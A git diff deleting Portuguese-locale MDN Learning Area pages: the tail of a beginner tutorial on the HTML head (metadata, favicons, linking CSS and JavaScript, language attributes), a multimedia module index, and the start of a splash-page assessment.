-
-<p>The <code>&lt;title&gt;</code> element contents are also used in other ways. For example, if you try bookmarking the page (<em>Bookmarks &gt; Bookmark This Page</em> or the star icon in the URL bar in Firefox), you will see the <code>&lt;title&gt;</code> contents filled in as the suggested bookmark name.</p>
-
-<p><img alt="A webpage being bookmarked in firefox; the bookmark name has been automatically filled in with the contents of the &lt;title> element " src="https://mdn.mozillademos.org/files/12337/bookmark-example.png" style="display: block; margin: 0 auto;"></p>
-
-<p>The <code>&lt;title&gt;</code> contents are also used in search results, as you'll see below.</p>
-
-<h2 id="Metadata_the_&lt;meta>_element">Metadata: the &lt;meta&gt; element</h2>
-
-<p>Metadata is data that describes data, and HTML has an "official" way of adding metadata to a document — the {{htmlelement("meta")}} element. Of course, the other stuff we are talking about in this article could also be thought of as metadata too. There are a lot of different types of <code>&lt;meta&gt;</code> element that can be included in your page's &lt;head&gt;, but we won't try to explain them all at this stage, as it would just get too confusing. Instead, we'll explain a few things that you might commonly see, just to give you an idea.</p>
-
-<h3 id="Specifying_your_document's_character_encoding">Specifying your document's character encoding</h3>
-
-<p>In the example we saw above, this line was included:</p>
-
-<pre class="brush: html">&lt;meta charset="utf-8"&gt;</pre>
-
-<p>This element simply specifies the document's character encoding — the character set that the document is permitted to use. <code>utf-8</code> is a universal character set that includes pretty much any character from any human language. This means that your web page will be able to handle displaying any language; it's therefore a good idea to set this on every web page you create! For example, your page could handle English and Japanese just fine:</p>
-
-<p><img alt="a web page containing English and Japanese characters, with the character encoding set to universal, or utf-8. Both languages display fine," src="https://mdn.mozillademos.org/files/12343/correct-encoding.png" style="display: block; margin: 0 auto;">If you set your character encoding to <code>ISO-8859-1</code>, for example (the character set for the Latin alphabet), your page rendering would be all messed up:</p>
-
-<p><img alt="a web page containing English and Japanese characters, with the character encoding set to latin. The Japanese characters don't display correctly" src="https://mdn.mozillademos.org/files/12341/bad-encoding.png" style="display: block; height: 365px; margin: 0px auto; width: 604px;"></p>
-
-<h3 id="Active_learning_Experiment_with_character_encoding">Active learning: Experiment with character encoding</h3>
-
-<p>To try this out, revisit the simple HTML template you obtained in the previous section on <code>&lt;title&gt;</code> (the <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html page</a>), try changing the meta charset value to <code>ISO-8859-1</code>, and add the Japanese to your page. This is the code we used:</p>
-
-<pre class="brush: html">&lt;p&gt;Japanese example: ご飯が熱い。&lt;/p&gt;</pre>
-
-<h3 id="Adding_an_author_and_description">Adding an author and description</h3>
-
-<p>Many <code>&lt;meta&gt;</code> elements include <code>name</code> and <code>content</code> attributes:</p>
-
-<ul>
- <li><code>name</code> specifies the type of meta element it is; what type of information it contains.</li>
- <li><code>content</code> specifies the actual meta content.</li>
-</ul>
-
-<p>Two such meta elements that are useful to include on your page define the author of the page, and provide a concise description of the page. Let's look at an example:</p>
-
-<pre class="brush: html">&lt;meta name="author" content="Chris Mills"&gt;
-&lt;meta name="description" content="The MDN Learning Area aims to provide
-complete beginners to the Web with all they need to know to get
-started with developing web sites and applications."&gt;</pre>
-
-<p>Specifying an author is useful in a few ways: it is useful to be able to work out who wrote the page, if you want to contact them with questions about the content. Some content management systems have facilities to automatically extract page author information and make it available for such purposes.</p>
-
-<p>Specifying a description that includes keywords relating to the content of your page is useful as it has the potential to make your page appear higher in relevant searches performed in search engines (such activities are termed <a href="/en-US/docs/Glossary/SEO">Search Engine Optimization</a>, or {{glossary("SEO")}}.)</p>
-
-<h3 id="Active_learning_The_description's_use_in_search_engines">Active learning: The description's use in search engines</h3>
-
-<p>The description is also used on search engine result pages. Let's go through an exercise to explore this</p>
-
-<ol>
- <li>Go to the <a href="https://developer.mozilla.org/en-US/">front page of The Mozilla Developer Network</a>.</li>
- <li>View the page's source (Right/<kbd>Ctrl</kbd> + click on the page, choose <em>View Page Source</em> from the context menu.)</li>
- <li>Find the description meta tag. It will look like this:
- <pre class="brush: html">&lt;meta name="description" content="The Mozilla Developer Network (MDN) provides
-information about Open Web technologies including HTML, CSS, and APIs for both
-Web sites and HTML5 Apps. It also documents Mozilla products, like Firefox OS."&gt;</pre>
- </li>
- <li>Now search for "Mozilla Developer Network" in your favorite search engine (We used Yahoo.) You'll notice the description <code>&lt;meta&gt;</code> and <code>&lt;title&gt;</code> element content used in the search result — definitely worth having!
- <p><img alt='A Yahoo search result for "Mozilla Developer Network"' src="https://mdn.mozillademos.org/files/12347/search-result.png" style="display: block; margin: 0 auto;"></p>
- </li>
-</ol>
-
-<div class="note">
-<p><strong>Note</strong>: In Google, you will see some relevant subpages of MDN listed below the main MDN homepage link — these are called sitelinks, and are configurable in <a href="http://www.google.com/webmasters/tools/">Google's webmaster tools</a> — a way to make your site's search results better in the Google search engine.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: Many <code>&lt;meta&gt;</code> features just aren't used any more. For example, the keyword <code>&lt;meta&gt;</code> element (<code>&lt;meta name="keywords" content="fill, in, your, keywords, here"&gt;</code>) — which is supposed to provide keywords for search engines to determine relevance of that page for different search terms — is ignored by search engines, because spammers were just filling the keyword list with hundreds of keywords, biasing results.</p>
-</div>
-
-<h3 id="Other_types_of_metadata">Other types of metadata</h3>
-
-<p>As you travel around the web, you'll find other types of metadata, too. A lot of the features you'll see on websites are proprietary creations, designed to provide certain sites (such as social networking sites) with specific pieces of information they can use.</p>
-
-<p>For example, <a href="http://ogp.me/">Open Graph Data</a> is a metadata protocol that Facebook invented to provide richer metadata for websites. In the MDN sourcecode, you'll find this:</p>
-
-<pre class="brush: html">&lt;meta property="og:image" content="https://developer.mozilla.org/static/img/opengraph-logo.png"&gt;
-&lt;meta property="og:description" content="The Mozilla Developer Network (MDN) provides
-information about Open Web technologies including HTML, CSS, and APIs for both Web sites
-and HTML5 Apps. It also documents Mozilla products, like Firefox OS."&gt;
-&lt;meta property="og:title" content="Mozilla Developer Network"&gt;</pre>
-
-<p>One effect of this is that when you link to MDN on facebook, the link appears along with an image and description: a richer experience for users.</p>
-
-<p><img alt="Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description." src="https://mdn.mozillademos.org/files/12349/facebook-output.png" style="display: block; margin: 0 auto;">Twitter also has its own similar proprietary metadata, which has a similar effect when the site's URL is displayed on twitter.com. For example:</p>
-
-<pre class="brush: html">&lt;meta name="twitter:title" content="Mozilla Developer Network"&gt;</pre>
-
-<h2 id="Adding_custom_icons_to_your_site">Adding custom icons to your site</h2>
-
-<p>To further enrich your site design, you can add references to custom icons in your metadata, and these will be displayed in certain contexts.</p>
-
-<p>The humble favicon, which has been around for many years, was the first icon of this type, a 16 x 16 pixel icon used in multiple places. You'll see favicons displayed in the browser tab containing each open page, and next to bookmarked pages in the bookmarks panel.</p>
-
-<p>A favicon can be added to your page by:</p>
-
-<ol>
- <li>Saving it in the same directory as the site's index page, saved in <code>.ico</code> format (most browsers will support favicons in more common formats like <code>.gif</code> or <code>.png</code>, but using the ICO format will ensure it works as far back as Internet Explorer 6.)</li>
- <li>Adding the following line into your HTML <code>&lt;head&gt;</code> to reference it:
- <pre class="brush: html">&lt;link rel="shortcut icon" href="favicon.ico" type="image/x-icon"&gt;</pre>
- </li>
-</ol>
-
-<p>Here is an example of a favicon in a bookmarks panel:</p>
-
-<p><img alt="The Firefox bookmarks panel, showing a bookmarked example with a favicon displayed next to it." src="https://mdn.mozillademos.org/files/12351/bookmark-favicon.png" style="display: block; margin: 0 auto;"></p>
-
-<p>There are lots of other icon types to consider these days as well. For example, you'll find this in the source code of the MDN homepage:</p>
-
-<pre class="brush: html">&lt;!-- third-generation iPad with high-resolution Retina display: --&gt;
-&lt;link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.mozilla.org/static/img/favicon144.png"&gt;
-&lt;!-- iPhone with high-resolution Retina display: --&gt;
-&lt;link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.mozilla.org/static/img/favicon114.png"&gt;
-&lt;!-- first- and second-generation iPad: --&gt;
-&lt;link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.mozilla.org/static/img/favicon72.png"&gt;
-&lt;!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: --&gt;
-&lt;link rel="apple-touch-icon-precomposed" href="https://developer.mozilla.org/static/img/favicon57.png"&gt;
-&lt;!-- basic favicon --&gt;
-&lt;link rel="shortcut icon" href="https://developer.mozilla.org/static/img/favicon32.png"&gt;</pre>
-
-<p>The comments explain what each icon is used for — these elements cover things like providing a nice high resolution icon to use when the website is saved to an iPad's home screen.</p>
-
-<p>Don't worry too much about implementing all these types of icon right now — this is a fairly advanced feature, and you won't be expected to have knowledge of this to progress through the course. The main purpose here is to let you know what such things are, in case you come across them while browsing other websites' source code.</p>
-
-<h2 id="Applying_CSS_and_JavaScript_to_HTML">Applying CSS and JavaScript to HTML</h2>
-
-<p>Just about all websites you'll use in the modern day will employ {{glossary("CSS")}} to make them look cool, and {{glossary("JavaScript")}} to power interactive functionality, such as video players, maps, games, and more. These are most commonly applied to a web page using the {{htmlelement("link")}} element and the {{htmlelement("script")}} element, respectively.</p>
-
-<ul>
- <li>
- <p>The {{htmlelement("link")}} element always goes inside the head of your document. This takes two attributes, rel="stylesheet", which indicates that it is the document's stylesheet, and href, which contains the path to the stylesheet file:</p>
-
- <pre class="brush: html">&lt;link rel="stylesheet" href="my-css-file.css"&gt;</pre>
- </li>
- <li>
- <p>The {{htmlelement("script")}} element does not have to go in the head; in fact, often it is better to put it at the bottom of the document body (just before the closing <code>&lt;/body&gt;</code> tag), to make sure that all the HTML content has been read by the browser before it tries to apply JavaScript to it (if JavaScript tries to access an element that doesn't yet exist, the browser will throw an error.)</p>
-
- <pre class="brush: html">&lt;script src="my-js-file.js"&gt;&lt;/script&gt;</pre>
-
- <p><strong>Note</strong>: The <code>&lt;script&gt;</code> element may look like an empty element, but it's not, and so needs a closing tag. Instead of pointing to an external script file, you can also choose to put your script inside the <code>&lt;script&gt;</code> element.</p>
- </li>
-</ul>
-
-<h3 id="Active_learning_applying_CSS_and_JavaScript_to_a_page">Active learning: applying CSS and JavaScript to a page</h3>
-
-<ol>
- <li>To start this active learning, grab a copy of our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/script.js">script.js</a> and <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/style.css">style.css</a> files, and save them on your local computer in the same directory. Make sure they are saved with the correct names and file extensions.</li>
- <li>Open the HTML file in both your browser, and your text editor.</li>
- <li>By following the information given above, add {{htmlelement("link")}} and {{htmlelement("script")}} elements to your HTML, so that your CSS and JavaScript are applied to your HTML.</li>
-</ol>
-
-<p>If done correctly, when you save your HTML and refresh your browser you'll see that things have changed:</p>
-
-<p><img alt="Example showing a page with CSS and JavaScript applied to it. The CSS has made the page go green, whereas the JavaScript has added a dynamic list to the page." src="https://mdn.mozillademos.org/files/12359/js-and-css.png" style="display: block; margin: 0 auto;"></p>
-
-<ul>
- <li>The JavaScript has added an empty list to the page. Now when you click anywhere on the list, a dialog box will pop up asking you to enter some text for a new list item. when you press the OK button, a new list item will be added to the list containing the text. When you click on an existing list item, a dialog box will pop up allowing you to change the item's text.</li>
- <li>The CSS has caused the background to go green, and the text to become bigger. It has also styled some of the content that the JavaScript has added to the page (the red bar with the black border is the styling the CSS has added to the JS-generated list.)</li>
-</ul>
-
-<div class="note">
-<p><strong>Note</strong>: If you get stuck in this exercise and can't get the CSS/JS to apply, try checking out our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/css-and-js.html">css-and-js.html</a> example page.</p>
-</div>
-
-<h2 id="Setting_the_primary_language_of_the_document">Setting the primary language of the document</h2>
-
-<p>Finally, it's worth mentioning that you can (and really should) set the language of your page. This can be done by adding the <a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang attribute</a> to the opening HTML tag (as seen in the <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a> and shown below.)</p>
-
-<pre class="brush: html">&lt;html lang="en-US"&gt;</pre>
-
-<p>This is useful in many ways. Your HTML document will be indexed more effectively by search engines if its language is set (allowing it to appear correctly in language-specific results, for example), and it is useful to people with visual impairments using screen readers (for example, the word "six" exists in both French and English, but is pronounced differently.)</p>
-
-<p>You can also set subsections of your document to be recognised as different languages. For example, we could set our Japanese language section to be recognised as Japanese, like so:</p>
-
-<pre class="brush: html">&lt;p&gt;Japanese example: &lt;span lang="jp"&gt;ご飯が熱い。&lt;/span&gt;.&lt;/p&gt;</pre>
-
-<p>These codes are defined by the <a href="https://en.wikipedia.org/wiki/ISO_639-1">ISO 639-1</a> standard. You can find more about them in <a href="https://www.w3.org/International/articles/language-tags/">Language tags in HTML and XML</a>.</p>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>That marks the end of our quickfire tour of the HTML head — there's a lot more you can do in here, but an exhaustive tour would be boring and confusing at this stage, and we just wanted to give you an idea of the most common things you'll find in there for now! In the next article we'll be looking at HTML text fundamentals.</p>
-
-<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/html/multimedia_and_embedding/index.html b/files/pt-pt/learn/html/multimedia_and_embedding/index.html
deleted file mode 100644
index a20b442e8e..0000000000
--- a/files/pt-pt/learn/html/multimedia_and_embedding/index.html
+++ /dev/null
@@ -1,70 +0,0 @@
----
-title: Multimédia e integração
-slug: Learn/HTML/Multimedia_and_embedding
-tags:
- - Aprender
- - Audio
- - Avaliação
- - CodingScripting
- - Flash
- - Guía
- - HTML
- - Imagens
- - Landing
- - Principiante
- - Responsivo
- - SVG
- - Video
- - iframes
- - mapas de imagem
-translation_of: Learn/HTML/Multimedia_and_embedding
-original_slug: Learn/HTML/Multimedia_e_integracao
----
-<p>{{LearnSidebar}}</p>
-
-<p class="summary">Nós já vimos muito texto até agora neste curso, mas a Web seria realmente chata se se utilizasse apenas texto. Vamos começar a ver como dar vida à Web, com conteúdo mais interessante! Este módulo explora como utilizar HTML para incluir multimédia nas suas páginas da Web, incluindo os modos diferentes em que as imagens podem ser incluídas, e como incorporar vídeo, áudio e até páginas da Web completas.</p>
-
-<h2 id="Pré-requisitos">Pré-requisitos</h2>
-
-<p>Antes de iniciar este módulo, deverá ter um conhecimento razoável dos conceitos básicos de HTML, como anteriormente abordado em <a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">Introdução ao HTML</a>. Se ainda não leu este módulo (ou qualquer coisa similar), leia-o primeiro, e depois volte aqui!</p>
-
-<div class="note">
-<p><strong>Nota</strong>: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as <a href="https://jsbin.com/">JSBin</a> or <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
-</div>
-
-<h2 id="Guias">Guias</h2>
-
-<p>This module contains the following articles, which will take you through all the fundamentals of embedding multimedia on webpages.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Imagens em HTML</a></dt>
- <dd>There are other types of multimedia to consider, but it is logical to start with the humble {{htmlelement("img")}} element, used to embed a simple image in a webpage. In this article we'll look at how to use it in more depth, including basics, annotating it with captions using {{htmlelement("figure")}}, and how it relates to CSS background images.</dd>
- <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Conteúdo de vídeo e de áudio</a></dt>
- <dd>Next, we'll look at how to use the HTML5 {{htmlelement("video")}} and {{htmlelement("audio")}} elements, to embed video and audio on our pages; including basics, providing access to different file formats to different browsers, adding captions and subtitles, and how to add fallbacks for older browsers.</dd>
- <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">De &lt;object&gt; para &lt;iframe&gt; — outras tecnologias de integração</a></dt>
- <dd>At this point we'd like to take somewhat of a sideways step, looking at a couple of elements that allow you to embed a wide variety of content types into your webpages: the {{htmlelement("iframe")}}, {{htmlelement("embed")}} and {{htmlelement("object")}} elements. <code>&lt;iframe&gt;</code>s are for embedding other web pages, and the other two allow you to embed PDFs, SVG, and even Flash — a technology on its way out, but which you may still see semi-regularly.</dd>
- <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Adicionar gráficos de vetor à Web</a></dt>
- <dd>Vector graphics can be very useful in certain situations. Unlike regular formats like PNG/JPG, they don't distort/pixelate when zoomed in — they can remain smooth when scaled. This article introduces you to what vector graphics are, and how to include the popular {{glossary("SVG")}} format in web pages.</dd>
- <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Imagens responsivas</a></dt>
- <dd>With so many different device types now able to browse the Web — from mobile phones to desktop computers — an essential concept to master in the modern web world is responsive design. This refers to the creation of webpages that can automatically change their features to suit different screen sizes, resolutions, etc. This will be looked at in much more detail in a CSS module later on, but for now we'll look at the tools HTML has available to create responsive images, including the {{htmlelement("picture")}} element.</dd>
-</dl>
-
-<h2 id="Avaliações">Avaliações</h2>
-
-<p>The following assessments will test your understanding of the HTML basics covered in the guides above:</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/HTML/Multimedia_and_embedding/Pagina_de_boas_vindas_da_Mozilla">Página de boas-vindas da Mozilla</a></dt>
- <dd>In this assessment, we'll test your knowledge of some of the techniques discussed in this module's articles, getting you to add some images and video to a funky splash page all about Mozilla!</dd>
-</dl>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/HTML/Como/Adicionar_um_mapa_de_zona_clicavel_numa_imagem">Adicionar um mapa clicável no topo de uma imagem</a></dt>
- <dd>Image maps provide a mechanism to make different parts of an image link to different places (think of a map, linking through to further information about each different country you click on.) This technique can sometimes be useful.</dd>
- <dt><a href="https://teach.mozilla.org/activities/web-lit-basics-two/">Literacia da Web - básicos 2</a></dt>
- <dd>
- <p>An excellent Mozilla foundation course that explores and tests some of the skills talked about in the <em>Multimedia and embedding</em> module. Dive deeper into the basics of composing webpages, designing for accessibility, sharing resources, using online media, and working open (meaning that your content is freely available, and shareable by others).</p>
- </dd>
-</dl>
diff --git a/files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html b/files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html
deleted file mode 100644
index f27e24d8c8..0000000000
--- a/files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html
+++ /dev/null
@@ -1,195 +0,0 @@
----
-title: 'Avaliação: Página inicial da Mozilla'
-slug: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page
-tags:
- - Avaliação
- - HTML
- - Imagens
- - Incorporação
- - Multimedia
- - Principiante
- - Responsivo
- - Video
- - iframe
- - imagem
- - tamanhos
-translation_of: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page
-original_slug: Learn/HTML/Multimedia_and_embedding/Pagina_de_boas_vindas_da_Mozilla
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</div>
-
-<p class="summary">Nesta parte, testaremos seu conhecimento de algumas técnicas discutidas nos artigos deste módulo, pedindo que você adicione imagens e vídeos a uma grande página inteiramente dedicada ao Mozilla!</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>Antes de abordar este estudo, você já deve ter trabalhado nos parágrafos anteriores do módulo <a href="/pt-PT/docs/Learn/HTML/Multimedia_and_embedding">Multimídia e Integração</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>Testar seus conhecimentos sobre a integração de imagens e vídeos em páginas da Web, bem como técnicas de imagens adaptativas (imagens "responsivas").</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Ponto_de_partida">Ponto de partida</h2>
-
-<p><font><font>Para iniciar este estudo, você precisa buscar todas as imagens e HTML disponíveis no </font></font><a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/" rel="noopener"><font><font>diretório mdn-splash-page-start</font></font></a><font><font> no github. </font><font>Coloque o conteúdo do arquivo </font></font><a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/index.html" rel="noopener"><font><font>index.html</font></font></a><font><font>em um arquivo chamado </font></font><code>index.html</code><font><font>em seu disco rígido local, em um novo diretório. </font><font>Em seguida, copie </font></font><a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/mdn-splash-page-start/pattern.png" rel="noopener"><font><font>pattern.png</font></font></a><font><font> na mesma pasta</font></font> (clique com o botão direito sobre a imagem para obter a opção de salvá-la).</p>
-
-<p><font><font>Vá para o diretório </font></font><a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/mdn-splash-page-start/originals" rel="noopener"><font><font>original</font></font></a><font><font> para  </font><font>procurar por imagens diferentes e fazer a mesma coisa. </font><font>Talvez seja necessário salvá-las em uma nova pasta por enquanto, caso você precise manipular algumas delas usando um editor gráfico antes de usá-las.</font></font></p>
-
-<div class="note">
